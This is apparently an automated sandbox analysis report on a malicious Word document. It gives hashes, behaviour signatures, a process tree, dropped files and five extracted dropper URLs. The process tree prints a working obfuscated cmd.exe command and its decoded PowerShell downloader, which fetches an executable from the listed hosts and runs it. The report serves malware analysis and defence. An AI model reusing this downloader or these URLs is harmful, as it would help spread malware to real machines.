Analysis

  • max time kernel
    100s
  • max time network
    124s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240426-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system
  • submitted
    02-06-2024 07:37

General

  • Target

    8d53569ccbbc71c205c317c61843c045_JaffaCakes118.doc

  • Size

    137KB

  • MD5

    8d53569ccbbc71c205c317c61843c045

  • SHA1

    4a93a2bd46c95aa231f9207f7cf1a29028da68d8

  • SHA256

    f763d74e2db1ee98b4265c698c0c821c147bc9ab583b361338482e62ce291dd7

  • SHA512

    3f5b32ffce094a1d57f7a2c313d2177c1dcd743fc82cc2881b900e83444594a68541c237d46596bee3a2ad93eb0a2232ba02fbd0e1f70aee9cd705c5d5c5f99a

  • SSDEEP

    3072:A8GhDS0o9zTGOZD6EbzCd3WiWCAWcWvfxa:eoUOZDlbe3WiWCAWcWvfxa

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

http://levifca.com/y0tYhnWQ

exe.dropper

http://mfpvision.com/yAkPNiSmm6

exe.dropper

http://haganelectronics.rubickdesigns.com/C96xSAAy2q

exe.dropper

http://catairdrones.com/sMQ0n8nNun

exe.dropper

http://radio312.com/mp0NHN4cHX

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of SetWindowsHookEx 7 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\8d53569ccbbc71c205c317c61843c045_JaffaCakes118.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1116
    • C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /V:O/C"set lj=;'afd'=dww$}}{hctac}};kaerb;'boU'=OFK$;vWd$ metI-ekovnI{ )00008 eg- htgnel.)vWd$ metI-teG(( fI;'fBW'=fSP$;)vWd$ ,abU$(eliFdaolnwoD.dam${yrt{)tdB$ ni abU$(hcaerof;'exe.'+Ihv$+'\'+pmet:vne$=vWd$;'BLv'=zqo$;'391' = Ihv$;'UDL'=DqS$;)'@'(tilpS.'XHc4NHN0pm/moc.213oidar//:ptth@nuNn8n0QMs/moc.senordriatac//:ptth@q2yAASx69C/moc.sngisedkcibur.scinortcelenagah//:ptth@6mmSiNPkAy/moc.noisivpfm//:ptth@QWnhYt0y/moc.acfivel//:ptth'=tdB$;tneilCbeW.teN tcejbo-wen=dam$;'kaF'=zYv$ llehsrewop&&for /L %9 in (475;-1;0)do set Yfw=!Yfw!!lj:~%9,1!&&if %9==0 powershell "!Yfw:*Yfw!=!" "
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:3960
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell "powershell $vYz='Fak';$mad=new-object Net.WebClient;$Bdt='http://levifca.com/y0tYhnWQ@http://mfpvision.com/yAkPNiSmm6@http://haganelectronics.rubickdesigns.com/C96xSAAy2q@http://catairdrones.com/sMQ0n8nNun@http://radio312.com/mp0NHN4cHX'.Split('@');$SqD='LDU';$vhI = '193';$oqz='vLB';$dWv=$env:temp+'\'+$vhI+'.exe';foreach($Uba in $Bdt){try{$mad.DownloadFile($Uba, $dWv);$PSf='WBf';If ((Get-Item $dWv).length -ge 80000) {Invoke-Item $dWv;$KFO='Uob';break;}}catch{}}$wwd='dfa';"
        3⤵
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:4684
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" =Fak
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4032

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    2KB

    MD5

    d85ba6ff808d9e5444a4b369f5bc2730

    SHA1

    31aa9d96590fff6981b315e0b391b575e4c0804a

    SHA256

    84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

    SHA512

    8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    2f996b44e71bcf8e9d9bd5ef2a96a963

    SHA1

    61a10fcfb7bad1271f7132c7491982a916489af0

    SHA256

    78d612ffa268c2871faf8e656889f9ec6475890ff2763410dbf434a343ad9a0d

    SHA512

    84815d678a672aa99d4834fa4c0a42089bec36da593caabc337dc66180a8ebd0131e65fb68ba645d3d68e80a5e7808e0dcf5b0ff1cb2a46786d532b088b44515

  • C:\Users\Admin\AppData\Local\Temp\TCD7DDD.tmp\sist02.xsl

    Filesize

    245KB

    MD5

    f883b260a8d67082ea895c14bf56dd56

    SHA1

    7954565c1f243d46ad3b1e2f1baf3281451fc14b

    SHA256

    ef4835db41a485b56c2ef0ff7094bc2350460573a686182bc45fd6613480e353

    SHA512

    d95924a499f32d9b4d9a7d298502181f9e9048c21dbe0496fa3c3279b263d6f7d594b859111a99b1a53bd248ee69b867d7b1768c42e1e40934e0b990f0ce051e

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_xjxndres.hv4.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • memory/1116-23-0x00007FFCFE910000-0x00007FFCFEB05000-memory.dmp

    Filesize

    2.0MB

  • memory/1116-19-0x00007FFCFE910000-0x00007FFCFEB05000-memory.dmp

    Filesize

    2.0MB

  • memory/1116-6-0x00007FFCFE910000-0x00007FFCFEB05000-memory.dmp

    Filesize

    2.0MB

  • memory/1116-9-0x00007FFCFE910000-0x00007FFCFEB05000-memory.dmp

    Filesize

    2.0MB

  • memory/1116-8-0x00007FFCFE910000-0x00007FFCFEB05000-memory.dmp

    Filesize

    2.0MB

  • memory/1116-10-0x00007FFCFE910000-0x00007FFCFEB05000-memory.dmp

    Filesize

    2.0MB

  • memory/1116-7-0x00007FFCFE910000-0x00007FFCFEB05000-memory.dmp

    Filesize

    2.0MB

  • memory/1116-11-0x00007FFCBC190000-0x00007FFCBC1A0000-memory.dmp

    Filesize

    64KB

  • memory/1116-12-0x00007FFCFE910000-0x00007FFCFEB05000-memory.dmp

    Filesize

    2.0MB

  • memory/1116-14-0x00007FFCFE910000-0x00007FFCFEB05000-memory.dmp

    Filesize

    2.0MB

  • memory/1116-15-0x00007FFCFE910000-0x00007FFCFEB05000-memory.dmp

    Filesize

    2.0MB

  • memory/1116-13-0x00007FFCBC190000-0x00007FFCBC1A0000-memory.dmp

    Filesize

    64KB

  • memory/1116-18-0x00007FFCFE910000-0x00007FFCFEB05000-memory.dmp

    Filesize

    2.0MB

  • memory/1116-21-0x00007FFCFE910000-0x00007FFCFEB05000-memory.dmp

    Filesize

    2.0MB

  • memory/1116-2-0x00007FFCBE990000-0x00007FFCBE9A0000-memory.dmp

    Filesize

    64KB

  • memory/1116-22-0x00007FFCFE910000-0x00007FFCFEB05000-memory.dmp

    Filesize

    2.0MB

  • memory/1116-20-0x00007FFCFE910000-0x00007FFCFEB05000-memory.dmp

    Filesize

    2.0MB

  • memory/1116-0-0x00007FFCBE990000-0x00007FFCBE9A0000-memory.dmp

    Filesize

    64KB

  • memory/1116-17-0x00007FFCFE910000-0x00007FFCFEB05000-memory.dmp

    Filesize

    2.0MB

  • memory/1116-16-0x00007FFCFE910000-0x00007FFCFEB05000-memory.dmp

    Filesize

    2.0MB

  • memory/1116-38-0x00007FFCFE910000-0x00007FFCFEB05000-memory.dmp

    Filesize

    2.0MB

  • memory/1116-39-0x00007FFCFE910000-0x00007FFCFEB05000-memory.dmp

    Filesize

    2.0MB

  • memory/1116-5-0x00007FFCFE9AD000-0x00007FFCFE9AE000-memory.dmp

    Filesize

    4KB

  • memory/1116-574-0x00007FFCFE910000-0x00007FFCFEB05000-memory.dmp

    Filesize

    2.0MB

  • memory/1116-4-0x00007FFCBE990000-0x00007FFCBE9A0000-memory.dmp

    Filesize

    64KB

  • memory/1116-1-0x00007FFCBE990000-0x00007FFCBE9A0000-memory.dmp

    Filesize

    64KB

  • memory/1116-3-0x00007FFCBE990000-0x00007FFCBE9A0000-memory.dmp

    Filesize

    64KB

  • memory/1116-549-0x00007FFCFE910000-0x00007FFCFEB05000-memory.dmp

    Filesize

    2.0MB

  • memory/1116-550-0x00007FFCFE910000-0x00007FFCFEB05000-memory.dmp

    Filesize

    2.0MB

  • memory/1116-571-0x00007FFCBE990000-0x00007FFCBE9A0000-memory.dmp

    Filesize

    64KB

  • memory/1116-572-0x00007FFCBE990000-0x00007FFCBE9A0000-memory.dmp

    Filesize

    64KB

  • memory/1116-570-0x00007FFCBE990000-0x00007FFCBE9A0000-memory.dmp

    Filesize

    64KB

  • memory/1116-573-0x00007FFCBE990000-0x00007FFCBE9A0000-memory.dmp

    Filesize

    64KB

  • memory/4684-48-0x0000029EE9BE0000-0x0000029EE9C02000-memory.dmp

    Filesize

    136KB